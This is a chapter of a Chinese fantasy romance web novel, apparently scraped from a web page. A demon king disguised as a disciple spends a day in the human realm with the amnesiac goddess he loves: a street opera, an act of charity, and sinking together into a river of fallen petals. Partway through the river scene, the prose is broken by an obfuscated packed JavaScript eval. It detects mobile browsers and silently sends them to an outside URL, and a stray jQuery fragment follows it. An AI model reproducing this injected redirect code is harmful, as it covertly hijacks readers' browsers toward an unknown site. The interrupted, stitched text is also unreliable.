月竹虽看过四界书籍,懵懵懂懂地了解过男女之情,却从未经历。
与檀巳的记忆也被悉数抹去,她尚且不知何为男女授受不亲。
她只将檀巳当做自己的小徒弟,便眉眼弯弯地将手搭了上去:“好,徒儿真体贴。”
檀巳的心底起了贪魇,他不愿双手交叠,想要的是十指紧扣。
他展开冰凉的指骨,嵌入月竹的指缝,将她纤细的小手牢牢包裹。
月竹的心思不在此处,她仰着雪白的小脸左顾右盼。
午后的街道热闹非凡。
各式各样的摊贩披着淡淡的金光,吆喝声和叫卖声混作一团,喧嚣又鲜活。
天界哪有这样的景象。
月竹好奇的环顾四周。
胭脂肆的少女们穿着五彩缤纷的长裙,精心挑选着心仪之物。
街对面的戏台正演着戏,演的好像是魔王和人界妻子的故事,百姓们探头探脑地围作一团,掌声连连。
她刚想拉着檀巳过马路。
一对孩童,一手握着糖葫芦,一手握着红黄相见的纸糊风车,追逐着自她身旁跑过。
小女孩的绣花鞋不小心磕到青石板凸出的石块,将要摔倒之际。
月竹悄然施法将她托住。
小女孩只感觉一阵清风袭来,她满眼欣喜地追上前面,欣喜地呼喊:“哥哥,方才我快摔倒之时好似被风仙子扶起来了!”
月竹看着她跑远的背影,眸光温柔。
檀巳总是下意识地偏眸,跟着她的一颦一笑弯起唇角。
月竹拉着檀巳挤到人群里,观看魔王与人界妻子的故事。
为了逗乐观众,他们的故事被演得离谱。
戏里,魔王的妻子曾不知晓他的身份,以为他是降妖除魔的正道。
她常在魔王面前揍魔龙,将魔王比作猪,骑在猪身上,用鞭子狠抽猪屁股。
猪被打得嗷嗷叫。
看到妻子如此厌恶自己,魔王蹑手蹑脚跑到角落,伤心倒立。
扮演魔王的戏子妆容化得很夸张。
他贴在墙角忧郁落泪,嘴唇颤抖:“伤心时倒立,眼泪便不会落下来。”
话落,两条紫色泪水顺着“魔王”的额头滑落。
看到这滑稽的一幕。
百姓们纷纷捧腹大笑,连月竹都不禁捂唇笑出了声。
“魔王哪会这样笨拙,他毁灭三界可怖得很。”月竹拉走檀巳。
檀巳心口一紧,他不愿也不想告知她往事,只想与她重新来过。
如今四界对他有印象之人都被他混淆了记忆,他的真实容貌只有魔灵可知。”
但,他终究在意她对他的看法。
“师傅,是否厌恶魔王?”
月竹小脸严肃:“厌恶的。他曾毁灭三界,若不是人界曾残留一国,人界君主鼓励百姓延续香火,繁衍子嗣重建人间,哪会有如今的繁荣盛世?”
檀巳牵着月竹的手紧了紧。
月竹抬眸看向他:“还好与我友好的神仙们都还在,否则我不仅厌恶他,还会痛恨他。”
心脏若被万千小剑刺穿。
檀巳看向远方,语气佯装轻松:“若魔王同魔界魔灵一样,改邪归正了呢?”
月竹垂眸思量:“改邪归正……魔王手上的杀孽太多……改邪归正死去的神仙就能复活吗?”
他目光深远:“师傅……”
“嗯?”
“徒儿曾看了一本《魔王传》,里面所说魔王从前主张和平,是三界联合陷害他死,他才起了灭世之念。”
“那肯定是假,师傅就在天界,从未听闻有哪位神仙陷害魔王。”月竹微微蹙眉,“不过关于魔王的传说实在太多,如今已然过了两千年,的确真假难辨。”
“若……徒儿看的那本是真呢?”
月竹有些许好奇:“徒儿看的那本还写了什么?”
“还写了魔王第一次现世时,只是一头弱小的魔兽。世人待他毫无善意,他浑身是宝,三界皆想将他剥皮削骨,熬汤做药。只有……一个女子曾保护他。”
月竹看向夕阳,微微蹙眉:“若真是如此,它的确有令人怜惜的一面。”
“可即便如此他也不能滥杀无辜。譬如我,若有朝一日魔王复活,因为我是神女,他定然也会将我杀了,哪怕我与他本无冤无仇。”
檀巳眉眼垂敛。
如今他怎会舍得杀她?
他甚至为她放下仇恨,放下征服四海八荒,踏平三界的执念。
也不再暴虐嗜杀,见只蝼蚁便要碾死于指尖。
从前三界对他心怀恶意之人数不胜数,他难以分辨好赖,只有通通杀光。
譬如三界君主,面上对他谦逊有礼,毕恭毕敬,他又如何想到他们竟会联合设局,私下将他折磨囚禁。
魔王无声轻叹。
曾经的恩恩怨怨已然随风而逝。
如今他只想同阿竹重新来过。
只要没有对立,没有仇怨,他便能留在阿竹身侧。
他,绝不能让阿竹恢复记忆。
正聊着。
檀巳无意瞥见对面街道的石桥上,一名十二三岁的男孩正艰难推着盛满苹果的板车,往桥上攀爬。
男孩的额间满是汗水。
他既担心筐里的苹果掉落,又被倾斜倒退的板车压着使不出力气。
他僵在原地,显得很无措。
百姓都围在街角看戏,小石桥根本没有行人。
为了变成月竹喜欢的那类人。檀巳轻轻松开月竹,朝瘦如竹竿的推车男孩走去。
一筐筐苹果垒得高过男孩的头顶,他弯着背,瘦弱的臂膀发着抖。
他已经快没有力气了,稍稍松懈板车便会从桥上翻落。
苹果若毁,要赔很多钱!
他的眼眶渐渐湿润。
他赔不起这些钱,他还有妹妹要养。他就不该为了节省时间赶下一单走这处。
男孩刚想转身请求路人帮他一把。
一双葱白般修长的指骨却握住棕色车沿。
阳光下,漂亮如荧光白玉的手掌好似只轻轻一推,板车便缓缓前行。
板车平稳越过桥顶,往桥下驶去。
板车微颤,本要掉下来的苹果稳稳紧贴着,竟没有一颗落下。
男孩仰头。
银发哥哥如冰刃削过的锋利眉骨映入眼帘。
哥哥的眉眼明明那样冷,却因镀着夕阳的金光透出一丝暖意。
不远处,一名漂亮姐姐提着裙摆,缓缓自他们小跑而来。
冷峻的哥哥见到姐姐时,对他漾开了笑。
哥哥俯身轻声问他:“你要将苹果送到哪,哥哥替你送过去。”
男孩耳根通红:“谢谢哥哥,此处路平坦,我一人去送便可以了。”
“往后运水果选平路走,否则很危险。”
“嗯!”
“那,保重。”檀巳微微一笑,转身离开。
他故意松开钱袋,将钱袋落在板车上。
钱袋被法术禁锢着,只有男孩能取下。
方才檀巳已然看到男孩的经历。
男孩名唤阿生,父母早逝,家里还有个三岁的妹妹,如今他一人自食其力,找各种杂活做养活妹妹和自己。
钱袋里的钱不算多,却足以够他开一家铺子生活。
檀巳走回月竹身旁,刻意将此事告诉她。
“徒儿还给他留了银两呀?”月竹神色欣慰,她不忍伸出手,微微踮起脚尖,轻轻抚摸檀巳头顶的银发,“我的徒儿当真好乖呀。”
檀巳不说话,只静静沉浸在她一阵一阵的轻抚中。
待月竹放下脚尖,他才开口:“师傅,逛了街,徒儿带你到焉国的羽花城赏花,羽花城有家柠檬冰镇桂花饮,出了名的好喝,还有一条鲜花河,出了名的好看。”
月竹眸若星辰:“好啊好啊。”
她自然而然地牵起檀巳的手,纤细的手指嵌入他冷白的指骨,十指紧扣。
被她牵着和主动牵起她,全然是两种不同心情。
檀巳只觉一滴甘甜的露珠浸入心湖,连水滴落的声音都异常清晰。
他怔在原地,手指酥酥麻麻。
“徒儿,走呀。”
少年回过神,他将手指紧缩,咽下一口唾沫:“徒儿,这就带师傅过去。”
他的轻扶着月竹的胳膊,画面一闪,两人落在羽花城的一处郊外。
阳光下,一条晶莹剔透,清澈的花瓣小河蜿蜒流淌。
小河两岸栽满浅色系花树。
落花缤纷,铺满河面。
月竹瞧见远处许多少男少女在河岸的上中下游玩水脱下鞋子。
他们的穿戴都特别简约。
月竹好奇地看着他们。
只见他们步入及腰的河水里,缓缓屈膝蹲下,手臂浸入水底,而后闭气沉了下去。
“徒儿,他们在做什么?”月竹仰着白皙的小脸看他。
“落花沉。”
“何为落花沉?”
檀巳看着远处的少年少女,目光深远。
他口中缓缓念着:“这是羽花镇百姓为吸引附近城镇旅客来此游玩,想出的玩水项目。这条河池水浅,沉入水中可躺在水底,看铺满落花的水面和湛蓝的苍穹。”
少女来了兴致:“我也要玩落花沉。”
月竹松开手欲图放开檀巳朝河边跑去。
檀巳却舍不得放手,他收回目光,牵着她阔步往前走:“徒儿陪师傅一起。”
他们来到人烟稀少处。
清澈的河水静静流淌,细微的水声仿若涓涓细语,甚是好听。
河底的鹅卵石错落堆叠,泛着柔和的光。
月竹迫不及待地脱下鹅黄绣花鞋,提着裙摆将雪白的脚丫浸入水里,河面的浅色落花散开。
檀巳牵紧着她,生怕她踩到鹅卵石不慎滑到。
月竹满眼欢喜:“徒儿,河水丝丝凉凉,好舒服。”
一缕魔息褪下玄色长靴子。
“徒儿,快,师傅等不及了。”
檀巳下水,月竹看着他绽开一个比花还美的笑来,他怔在原地,月竹却闭上了双眼,倒头就浸入水里。
檀巳回过神,也随她一同沉了下去。
河水没过双耳的那一瞬,月竹只觉世间骤然静谧,只听得到咕噜咕噜的水泡声。
她睁开眼,瞬间被眼前的美景所震慑。
清透如镜的水面以蓝天为布景,铺满五颜六色的花瓣,层层叠叠,一朵朵,一片片。
微风拂过,水面几朵粉白花朵与蓝黄花朵交织成旋涡,旋转融成花束。
湛蓝天空下,浅色鲜花缓缓游弋,河岸边延伸出青翠茂盛的树影。
阳光、河水、蓝天、碧树、花瓣,构成一幅绝美的画卷。
“太美了。”月竹将眼弯成月牙。
说话时,她粉嫩的唇边溢出泡泡,连串成珠。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367978|183897||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
阳光穿过花瓣缝隙照入河底。
月竹瞥眸看到檀巳长长的银发在水底散开,他们交缠在一起的几缕发丝被染成了金线。
两人的发丝随波舒展,好似飘飘荡荡的水草。
檀巳侧身看向月竹,她的水眸亮晶晶的,全是好奇和欣喜。
青丝浮动,柔光流水将她衬得甚是美丽。
一条小指般大小的红色小鱼悠哉悠哉自她眼前飘过,她伸出莹白的指尖轻轻碰碰它,小鱼懊恼地快速游走。
月竹笑出了声,唇红齿白,唇角溢出珍珠般的泡泡。
小鱼哪里会知道月竹给它注入了灵力。
往后若它想到外面的世界看看,可在月圆之夜离开水域。
那微弱的灵力不可伤人,也会保护它不被旁人所伤。
月竹转身,与檀巳对视。
他被雪发萦绕着,红唇覆了一层水润的光泽,长睫黏上细碎的水珠,好似缀了冰霜。
月竹伸手,轻轻替檀巳拂去睫毛上的水珠。
离得近了,她自檀巳的墨瞳看到自己的轮廓,才发现檀巳眼眶湿红,甚至蔓延至了眼尾。
檀巳陡然别开脸,不愿让月竹看出他的异样。
他怔然地望向天空,压下自心底溢出,涌入鼻尖的酸楚。
阿竹,你在人界时心心念念的地方,如今我带着你来了。
我们算不算弥补了遗憾?
蓝天飘过几朵淡淡的浮云,檀巳的目光深邃而悠远。
想起竹桑在游玩集里的笔记,他低叹了一口气。
遗憾还是是难以补全的。
竹桑曾在《游玩集》里写,希望同他浸入落花河里,一起仰望蓝天,在落花水底轻轻吻一回他的脸。
倘若从前他便带她来此游玩,一定能在水中将她拥入怀里,而不仅仅只是牵着手而已。
有些事情一旦错过,即便事后尽力弥补,也已不再如初。
如今她断不可能会在水中生出吻他的念头。
而他,如今也只能是她的徒弟。
檀巳握着月竹的手紧了紧。
阿竹,我是否过于贪心。
失而复得已是幸中之幸,可近日牵了你的手后,我却想要拥抱你,相拥之后,又开始想要亲吻你。
心境如此不定。
是我不该。
檀巳闭上眼,不允许自己再想下去。
能做她的徒儿,能陪在她的身侧,已然足够了不是吗?
为何心底总会生出贪魇之念?
月竹只静静欣赏美景,没有发现檀巳的异常。
他们一魔一神,想在水里待多久便待多久。
若不是月竹心念着桂花柠檬饮,她甚至想在水中待到晚上,但晚上漆黑一片,约莫什么都看不清。
返回岸上时,两人的衣衫都湿漉漉的。
檀巳的白袍紧贴他颀长的身子,勒出完美的身形,水珠自银发滑落入冷白的下颌,十足勾人。
可惜如何勾人也勾不到月竹,她甚至都没有抬头看他,只有他反复地被月竹牵动心弦。
眼见月竹的头上粘着花瓣,檀巳低头轻轻帮她拿掉。
“师傅今日可玩得开心?”
月竹从檀巳手中抽出自己的手,笑意盈盈看向他,一边整理被水流冲松的衣带:“当然啦,非常开心。”
牵了她这样久,檀巳竟还不满足,他看着空荡的手掌,久久回不过神来。
月竹绑好腰带,摇身一变,发丝和衣裳便全然干爽。
檀巳指尖凝法,衣饰也立即干透。
“师傅,徒儿带你去喝柠檬桂花冰饮。”他试探地再次伸出手。
他其实有些忐忑,生怕总想要牵她,她会察觉出什么。
可月竹迎着暮色,什么都未曾发觉,只扬起唇角,眉眼如画。
她将手掌搭在他的手心:“好,师傅已经迫不及待了想喝柠檬桂花饮了。”
*
入夜。
月竹打包了两杯饮子回到章府。
一杯拿给章姑娘,一杯留到夜里,待徒儿给她煮夜宵的时候喝。
她提着饮子到章诗蕴的院子时。
章诗蕴刚好得到下人的禀报,得知月竹姑娘和郯公子已返回府中。
月竹堪堪穿过拱月洞门,便正巧撞见章姑娘攥着丝帕步出房门。
章诗蕴若一阵清风缓步走来:“月姐姐,我正想去找你来着。”
月竹莞尔一笑,提起柠檬桂花冰饮:“章姑娘,这是我徒儿买的饮子,我给你带来了,你尝尝。”
章诗蕴眼眸一亮,她身旁的奴婢刚要快步走到月竹面前接过去冰饮时。
章诗蕴立即拦下婢女,她越过婢女走到月竹面前,欣喜地轻轻接过桂花饮:“多谢姐姐特地给妹妹送来。”
“别这样客气。”
“姐姐,你可否到妹妹房里坐坐。”章诗蕴咬了咬唇瓣,耳尖泛红。
她压低声音:“妹妹有事想同姐姐商榷。”
“当然可以。
章诗蕴的闺房淡香袅袅。
一幅《花鸟图》垂下,书柜摆满书籍,窗口旁摆着一架古琴。
烛影摇曳,罗帐半卷。
月竹进入房里,随着章诗蕴缓缓落座于玫瑰椅上。
章诗蕴小心翼翼地放下桂花饮。
她细声细语,略带羞涩地问:“月姐姐,这杯桂花饮,是郯哥哥给我买的,还是姐姐让郯哥哥给我买?”